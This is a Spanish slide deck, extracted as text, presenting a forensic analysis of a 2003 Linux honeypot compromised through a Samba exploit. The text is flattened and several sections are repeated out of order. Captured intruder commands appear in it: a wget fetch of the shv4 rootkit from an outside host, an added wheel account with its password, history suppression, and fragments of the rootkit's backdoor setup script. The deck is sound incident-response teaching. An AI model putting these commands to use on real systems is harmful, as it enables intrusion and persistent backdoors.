828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

bullSnort httpwwwsnortorg

bullTrazas de red

sect Tcpdump httpwwwtcpdumporg

sect Ethereal httpwwwetherealcom

bullTrabajo praacutectico GCFA de David Perez httpwwwgiacorgpracticalGCFADavid_Perez_GCFApdf

page 4717062004

Demostracioacuten

page 4817062004

Demostracioacuten

~ 50 minutos

ldquoMuchas Graciasrdquo

page 4917062004

You are free

to copy distribute display and perform the work

Under the following conditions

Attribution-NonCommercial-NoDerivs 20

Attribution You must give the original author credit

Noncommercial You may not use this work for commercial purposes

No Derivative Works You may not alter transform or build upon this work

For any reuse or distribution you must make clear to others the license terms of this work

Any of these conditions can be waived if you get permission from the author

Your fair use and other rights are in no way affected by the above

This is a human-readable summary of the httpcreativecommonsorglicensesby-nc-nd20

Page 3: Demostracion Hacking Honeypot y Análisis Forense

page 317062004

Seguridad lo que ya has oiacutedo

bull Securizacioacuten de sistema operativobull Instalacioacuten y configuracioacuten de firewallbull Instalacioacuten y configuracioacuten de IDSbull Instalacioacuten y configuracioacuten de antivirus y filtrado de

contenidosbull Utilizacioacuten de protocolos seguros SSH SSL IPSecbull Mantenimiento boletines de seguridad instalar parchesbull Gestioacuten y poliacuteticas de seguridadbull bull bla bla blabull

page 417062004

Seguridad un paso maacutes allaacute

page 517062004

Investigacioacuten de incidentes

1 Preparacioacuten2 Identificacioacuten

3 Contencioacuten

4 Anaacutelisis en profundidad

5 Recuperacioacuten

6 Leccionesaprendidas

page 617062004

Objetivo

ldquoMostrar con un ejemplo reducidolo importante que es investigar los

incidentes de seguridadrdquo

page 717062004

Descripcioacuten de la prueba realizada

bull Un ldquohoneypotrdquo es un recurso de seguridad cuyo valor consiste en ser atacado o comprometido [1]

bull Se usoacute como honeypot un PC fue instalado con LinuxRedHat 80 y conectado a Internet a traveacutes de un ADSL domeacutestico

bull Una vez comprometido se realizoacute un anaacutelisis forense sobre el sistema para obtener la mayor cantidad de informacioacuten posible

bull Ademaacutes del honeypot se configuroacute un IDS y se tomaron trazas de red En el anaacutelisis se distinguioacute queacute informacioacuten aportoacute cada parte

[1] Spitzner Lance Honeypots tracking hackers Addison Wesley 2003

page 817062004

Diagrama de red

Honeypot Host (IDS+Traza de red)

LAN (hub)

Router InternetADSL

page 917062004

Resumen del incidente (12)

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 1017062004

Resumen del incidente (22)

Honeypot Host (IDS+Traza de red)

LAN (hub)

Router

ADSL

EEUU

ITALIA

RUMANIA

ESPANtildeA (MADRID)

page 1117062004

Anaacutelisis forense

page 1217062004

Prueba 1Fecha de instalacioacuten del Honeypot

Conclusioacuten El honeypot se instaloacute los diacuteas 5 y 6 de julio de 2003Fuente RPM

[rootholmes dir2] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | head -5

Sat 05 Jul 2003 085412 PM CEST Sendmail-cfSat 05 Jul 2003 091858 PM CEST glibc-commonSat 05 Jul 2003 091859 PM CEST basesystemSat 05 Jul 2003 091859 PM CEST file systemSat 05 Jul 2003 091859 PM CEST gnome-mime-data[rootholmes root] rpm -q --qf installtimedatetnamen --root mntsdb1 --all | sort | tail -5

Sat 05 Jul 2003 093319 PM CEST screenSat 05 Jul 2003 093320 PM CEST xdeltaSat 05 Jul 2003 093349 PM CEST compsSun 06 Jul 2003 102454 AM CEST ncSun 06 Jul 2003 102611 AM CEST tripwire[rootholmes dir2]

page 1317062004

Prueba 2Honeypot apagado del 6 al 15 de julio

Conclusioacuten El honeypot estuvo apagado del 6 al 15 de julioFuente Autopsy + The Sleuth Kit timeline

Sun Jul 06 2003 125748 0 mac - varrunshutdownpid (deleted)0 mac - etcmailsendmailmcswp

(deleted)0 mac - lthoneypotsdb1dd-dead-51072gt

Sun Jul 06 2003 1257494096 mc d varrunconsole0 mac - varrunconsolelock (deleted)45 mac - homedavidbash_history24 a - rootbash_logout0 mac - lthoneypotsdb1dd-dead-51069gt

Tue Jul 15 2003 195705 42 a l libmodules2418-14pcmciaaha152x_cso -gt kerneldriversscsipcmciaaha152x_cso

41 a l libmodules2418-14pcmciawavelan_cso -gt kerneldriversnetpcmciawavelan_cso

page 1417062004

Prueba 3Primera alerta del IDS (x18 en 3 seg)

Conclusioacuten Intento de acceso remoto al honeypot (buffer overflow de SAMBA)Fuente Snort

[] [121034] NETBIOS SMB trans2open buffer overflow attempt [][Classification Attempted Administrator Privilege Gain] [Priority 1]0716-101928694888 101112942468 -gt 19216815139TCP TTL46 TOS0x0 ID30439 IpLen20 DgmLen1500 DFA Seq 0x59D7D6CF Ack 0x2EEEBAAF Win 0x16D0 TcpLen 32TCP Options (3) =gt NOP NOP TS 375824640 26197405[Xref =gt httpwwwdigitaldefensenetlabsadvisoriesDDI-1013txt][Xref =gt httpcvemitreorgcgi-bincvenamecginame=CAN-2003-0201]

page 1517062004

Prueba 4Nueva alerta del IDS ldquoid returned rootrdquo

Conclusioacuten (1s) El intruso comproboacute que era ldquorootrdquo en el sistemaFuente Snort

[] [14984] ATTACK-RESPONSES id check returned root [][Classification Potentially Bad Traffic] [Priority 2]0716-101932690898 1921681545295 -gt 101112942504TCP TTL64 TOS0x0 ID15658 IpLen20 DgmLen174 DFAP Seq 0x2ED6F968 Ack 0x596F6E90 Win 0x16A0 TcpLen 32TCP Options (3) =gt NOP NOP TS 26199287 375825045

page 1617062004

Prueba 5Alerta ldquoid returned rootrdquo La regla del IDS

Conclusioacuten La alerta la provocoacute un paquete conteniendo ldquouid=0(root)rdquoFuente Snort

SID 498Message ATTACK-RESPONSES id check returned root

Signature alert ip any any -gt any any (msgATTACK-RESPONSES id check returned root content uid=0(root) classtypebad-unknown sid498 rev4)

SummaryThis event is generated by the use of a UNIX id command This may be indicative of post-compromise behavior where the attacker is checking for super user privileges gained by a sucessful exploit against a vulnerable system

page 1717062004

Prueba 6Alerta ldquoid returned rootrdquo El paquete

Conclusioacuten El intruso ejecutoacute los comandos ldquouname ndashardquo e ldquoidrdquoFuente Snort

[rootholmes dir2] tcpdump -nn -r tcpdumplog1058291995 -X port 42504101932690898 1921681545295 gt 101112942504 P 785840488785840610(122) ack1500475024 win 5792 ltnopnoptimestamp 26199287 375825045gt (DF)0x0000 4500 00ae 3d2a 4000 4006 77ec XXXX XXXX E=w0x0010 XXXX XXXX XXXX XXXX 2ed6 f968 596f 6e90 shYon0x0020 8018 16a0 56a7 0000 0101 080a 018f c4f7 V0x0030 1666 a295 4c69 6e75 7820 6368 6172 6c69 fLinuxcharli0x0040 6520 322e 342e 3138 2d31 3420 2331 2057 e2418-141W0x0050 6564 2053 6570 2034 2031 333a 3335 3a35 edSep4133550x0060 3020 4544 5420 3230 3032 2069 3638 3620 0EDT2002i6860x0070 6936 3836 2069 3338 3620 474e 552f 4c69 i686i386GNULi0x0080 6e75 780a 7569 643d 3028 726f 6f74 2920 nuxuid=0(root)0x0090 6769 643d 3028 726f 6f74 2920 6772 6f75 gid=0(root)grou0x00a0 7073 3d39 3928 6e6f 626f 6479 290a ps=99(nobody)[rootholmes dir2]

page 1817062004

Prueba 7Ejecucioacuten del comando ldquomailrdquo

Conclusioacuten (2s) El intruso envioacute un mensaje de correo electroacutenicoFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 100937 112 a - etcmailrc754801 a - usrsbinsendmailsendmail83905 a - binmail4770 mc - varlogsambasmbdlog

page 1917062004

Prueba 8Alerta del IDS por el enviacuteo del correo

Conclusioacuten El IDS detectoacute la direccioacuten destino de la conexioacuten SMTPFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-101934191136 1921681532774 -gt 10227825TCP TTL64 TOS0x0 ID16590 IpLen20 DgmLen60 DFS Seq 0x2EE98728 Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26200038 0 NOP WS 0

page 2017062004

Prueba 9Destinatario del correo

Conclusioacuten El fichero de log muestra el destinatario del mensajeFuente varlogmaillog

Jul 16 100944 charlie Sendmail[7393] h6G89cPq007391to=ltsome_addressyahoocomgt ctladdr=ltrootcharliedummynetgt (00)delay=000005 xdelay=000005 mailer=esmtp pri=30318relay=mailyahoocom [102278] dsn=200 stat=Sent (ok dirdel)

page 2117062004

Prueba 10Contenido del mensaje

Conclusioacuten Este era el contenido del mensaje (fichero borrado)Fuente Autopsy + The Sleuth Kit

samba

page 2217062004

Prueba 11Creacioacuten de un nuevo usuario ldquogo----rdquo

Conclusioacuten (4m 17s) El intruso creoacute un nuevo usuario llamado ldquogo----rdquoFuente varlogsecure

Jul 16 101359 charlie adduser[7401] new user name=go---- uid=501gid=10 home=etcgo---- shell=binbash

page 2317062004

Prueba 12Ejecucioacuten del comando ldquopasswdrdquo

Conclusioacuten (11s) El intruso establecioacute la contrasentildea del nuevo usuarioFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101410 15368 a - usrbinpasswd211 a - etcpamdpasswd

Wed Jul 16 2003 101417 1024 a - usrlibcracklib_dicthwmWed Jul 16 2003 101418 42116 a - usrlibcracklib_dictpwi

828567 a - usrlibcracklib_dictpwdWed Jul 16 2003 101446 1113 mc - etcshadow

page 2417062004

Prueba 13Ejecucioacuten del comando ldquowgetrdquo

Conclusioacuten (14s) El intruso realizoacute una conexioacuten a un servidor de InternetFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 101500 193278 a - usrbinwget4022 a - etcwgetrc7338 a - usrsharesslopensslcnf

page 2517062004

Prueba 14Alerta del IDS por la conexioacuten de ldquowgetrdquo

Conclusioacuten El IDS detectoacute la direccioacuten IP y el puerto (web) del servidorFuente Snort

[] [110000000] HONEYPOT PROBABLY HACKED Outgoing TCP connectionfrom honeypot [][Classification Successful User Privilege Gain] [Priority 1]0716-102456065879 1921681532775 -gt 104413880TCP TTL64 TOS0x0 ID37369 IpLen20 DgmLen60 DFS Seq 0x436ED85E Ack 0x0 Win 0x16D0 TcpLen 40TCP Options (5) =gt MSS 1460 SackOK TS 26364327 0 NOP WS 0

page 2617062004

Prueba 15Instalacioacuten del rootkit ldquoshv4rdquo

bull 1m 22s despueacutes el intruso lanzoacute la instalacioacuten (ldquosetupshrdquo) del rootkit ldquoshv4rdquo

ndash Varios comandos de sistema fueron sustituidos por troyanos que ocultariacutean la presencia del intruso

ndash Un demonio SSH con una puerta trasera fue lanzado con el nombre ldquoxntpsrdquo escuchando en el puerto 20000

ndash Un agente de denegacioacuten de servicio distribuida (DDOS) fueinstalado con el nombre ldquottymonrdquo y fue ejecutado

ndash Un sniffer fue instalado aunque no ejecutado

Conclusioacuten El intruso instaloacute el rootkit ldquoshv4rdquoFuente Autopsy + The Sleuth Kit

page 2717062004

Prueba 16Script de instalacioacuten del rootkit ldquoshv4rdquo

Conclusioacuten Se recuperoacute el rootkit completo y se analizoacute en detalleFuente Autopsy + The Sleuth Kit

1 binbash2 3 shkit-v4-internal release 2002[]12 setup pass port13 14 SSHD backdoor ssh -l root -p port hostname15 when prompted for password enter your rootkit password16 login backdoor DISPLAY=pass export DISPLAY telnet victim17 type anything at login and type arf for pass and b00m r00t[]39 lets unzip our shit now40 tar xfz bintgz41 tar xfz conftgz[]

page 2817062004

Prueba 17Ejemplo de comando ldquotroyanizadoldquo ps

Conclusioacuten Se analizaron todos los comandos sustituidos por el rootkitFuente Autopsy + The Sleuth Kit

Fichero binps

Tipo ELF 32-bit LSB executable i386 dynamically linked stripped

Descripcioacuten Lista los procesos en ejecucioacuten como el comando lsquopsrsquo peroocultando aquellos procesos cuyo nombre incluye cualquiera de las cadenas de caracteres que contiene el fichero usrincludeproch o cuyos argumentosincluyen cualquiera de las direcciones IP que contiene el ficherousrincludehostsh Tambieacuten oculta cualquier proceso hijo de los procesosocultos

Meacutetodo de anaacutelisis Ejecucioacuten en entorno aislado uso de lsquostracersquo paraencontrar llamadas al sistema lsquoopen()rsquo y alteracioacuten de los ficheros de configuracioacuten proch y hostsh

page 2917062004

Prueba 18Actividad del agente de DDOS

Conclusioacuten (18s) El agente de DDOS envioacute noticias a dos controladoresFuente Snort

[] [118552] DDOS Stacheldraht agent-gthandler (skillz) [][Classification Attempted Denial of Service] [Priority 2]0716-102622944900 19216815 -gt 1033111ICMP TTL64 TOS0x0 ID0 IpLen20 DgmLen1044 DFType0 Code0 ID6666 Seq0 ECHO REPLY[Xref =gthttpstaffwashingtonedudittrichmiscstacheldrahtanalysis]

NOTA Idem con una segunda IP destino Mensajes repetidos una vez por minuto hastaque se apagoacute el honeypot

page 3017062004

Prueba 19Apagado del honeypot

Conclusioacuten (13h) El honeypot fue apagado esa noche para analizarloFuente Autopsy + The Sleuth Kit

Wed Jul 16 2003 231541 176 a - rootbashrc[cut]Wed Jul 16 2003 231943 19982 a - sbinshutdown[cut]Wed Jul 16 2003 232009 48 mc - etcadjtime

page 3117062004

Prueba 20Texto mostrado en la pantalla del intruso (15)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

unset HISTFILE echo samba|mail some_addressyahoocomecho JE MOET JE MUIL HOUWEuname -aid

JE MOET JE MUIL HOUWELinux charlie 2418-14 1 Wed Sep 4 133550 EDT 2002 i686 i686 i386 GNULinuxuid=0(root) gid=0(root) groups=99(nobody)usrsbinadduser go---- -g wheel -s binbash -d etcgo----passwd go----New password mokota----Retype new password mokota----Changing password for user go----passwd all authentication tokens updated successfullywget wwwsitaboyannetshv4tgz--101500-- httpwwwsitaboyannetshv4tgz[]

page 3217062004

Prueba 21 (cont)Texto mostrado en la pantalla del intruso (25)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Fuente Ethereal

=gt `shv4tgzResolving wwwsitaboyannet doneConnecting to wwwsitaboyannet[1044138]80 connectedHTTP request sent awaiting response 200 OKLength 523391 [applicationx-compressed][]101520 (2648 KBs) - `shv4tgz saved [523391523391]tar -zxf shv4tgzrm -f shv4tgzcd shv4lsbintgzconftgzlibtgzsetup

page 3317062004

Prueba 22 (cont)Texto mostrado en la pantalla del intruso (35)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

setup mokota---- 20000sh Sit y00r ass d0wn whil3 w3 install shv4sh NO PATCHING THIS VERSION do it manually Bitch====================================================================

___

__

__ _____ _~ __ H __

S __ A H C __ K K U ___ E ___ P __ R __I __ __ S __ __

[sh] Internal Release v4 by PinTuRici====================================================================sh backdooring started on charliedummynet

page 3417062004

Prueba 23 (cont)Texto mostrado en la pantalla del intruso (45)

Conclusioacuten Confirmacioacuten de las pruebas anteriores Revela la contrasentildeaFuente Ethereal

sh checking for remote loggingsh holy guacamole batman

REMOTE LOGGING DETECTED[sh] I hope you can get to these other computer(s)

192168110cuz this box is LOGGING to it

sh [Installing Trojans]sh Using Password mokota----sh Using ssh-port 20000expr non-numeric argumentsz line 42 test = unary operator expectedsz line 47 test Aug integer expression expectedsh psdulstopnetstatfind backdooredsh []

page 3517062004

Prueba 24 (cont)Texto mostrado en la pantalla del intruso (55)

Conclusioacuten Confirmacioacuten de las pruebas anterioresFuente Ethereal

sh [Moving our files]sh sniffparsesauber movedsh [Modifying system settings to suite our needs]--------------------------------------------------------------------sh [System Information]sh Hostname charliedummynet (19216815)sh Arch i686 -+- bogomips 468304 sh Alternative IP 19216815 -+- Might be [ 1 ] active adapterssh Distribution Red Hat Linux release 80 (Psyche)-------------------------------------------------------------------sh ipchains setup line 344 sbinipchains No such file or directory--------------------------------------------------------------------sh ================== Backdooring completed in 15 seconds

page 3617062004

Prueba 25Paacutegina web de donde descargoacute el rootkit

Conclusioacuten Informacioacuten adicionalFuente Ethereal Mozilla

page 3717062004

Prueba 26El intruso intentoacute volver

Conclusioacuten El intruso intentoacute conectar a su puerta trasera sin eacutexitoFuente Ethereal

[rootholmes dir2] tcpdump -r tcpdump_200307151956 port 20000102732713915 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192

ltmss 1460nopnopsackOKgt (DF)

102732714305 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102735653412 105515862718 gt 1921681520000 S 2340333223403332(0) win 8192 ltmss 1460nopnopsackOKgt (DF)

102735654084 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

102736935977 1921681520000 gt 105515862718 S 12837359131283735913(0) ack23403333 win 5840 ltmss 1460nopnopsackOKgt (DF)

[][rootholmes dir2]

page 3817062004

Conclusiones

page 3917062004

Conclusioacuten 1Resumen del incidente

bull 14 horas despueacutes del despliegue del honeypot un atacante logroacute acceso como root al sistema explotandouna vulnerabilidad del daemon de SAMBA ldquosmbdrdquo

bull Entonces antildeadioacute una cuenta de usuario al sistema e instaloacuteun rootkit llamado ldquoshv4rdquo que incluiacutea varios comandostroyanos para ocultar sus actividades dos puertas traseras un sniffer y un agente de DDOS

bull Maacutes tarde intentoacute acceder al sistema usando una de suspuertas traseras sin eacutexito

bull El ataque duroacute menos de 10 minutos

page 4017062004

Conclusioacuten 2Anaacutelisis forense + IDS + Traza de red = eacutexito

bull El anaacutelisis forense de un sistema proporciona una enormecantidad de informacioacuten sobre un incidente pero suefectividad se multiplica cuando se combina con otrasfuentes de informacioacuten como IDS y traza de red

bull IDSndash Detectoacute que el sistema habiacutea sido comprometidondash Identificoacute la IP origen del ataque y la IP del servidor webndash Identificoacute la IP de los gestores del agente DDOS

bull Traza de redndash Permitioacute recuperar todos los comandos del atacante y la

respuesta del sistemandash Habriacutea permitido recuperar el rootkit en caso necesariondash Mostroacute que el atacante volvioacute despueacutes

page 4117062004

Conclusioacuten 3Preservar la evidencia es crucial

bull Fue posible recuperar mucha informacioacuten del disco del sistema pero una de las piezas maacutes importante el ficherodel rootkit estaba dantildeado

bull Es muy probable que se dantildeara al ejecutar el ldquoshutdownrdquo en lugar de apagar bruscamente el sistema

bull Siempre que sea posible se debe evitar modificar de ninguna manera la informacioacuten del sistema a analizar

page 4217062004

Conclusioacuten 4Ninguacuten sistema estaacute a salvo

bull El honeypot fue atacado y conquistado en menos de 24h a pesar de quendash no teniacutea mucha CPUndash no teniacutea mucho espacio en discondash no teniacutea un gran ancho de banda (conexioacuten ADSL baacutesica)ndash su presencia no fue anunciada de ninguna manerandash no teniacutea un nombre de dominio asociadondash no teniacutea datos importantes (SO)

page 4317062004

Conclusioacuten 5Muchos incidentes pasan inadvertidos

bull El honeypot fue atacado desde una maacutequina que albergaba la paacutegina web principal de una compantildeiacutea de web-hosting

bull Muy probablemente el ataque no fue lanzado por alguien de dicha compantildeiacutea sino por un intruso que previamente habiacutea tomado control de su servidor web sin que nadie se diera cuenta

page 4417062004

Conclusioacuten 6Motivaciones y iquestresponsabilidad legal

bull Motivaciones del ataquendash Sistemas automaacuteticos virus y gusanosndash Script-kiddies disponibilidad de herramientas muy simplesndash Repositorio de ldquow4R3zrdquondash Obtencioacuten de recursos para futuros ataques

bull Responsabilidadndash iquestSoy responsable si desde mi sistema se lanza un ataque a un

tercero

page 4517062004

Referencias

page 4617062004

Referencias

bullHoneypots

sect httpwwwtracking-hackerscom

sect httpprojecthoneynetorg

bullThe Sleuth Kit amp Autopsy httpwwwsleuthkitorg

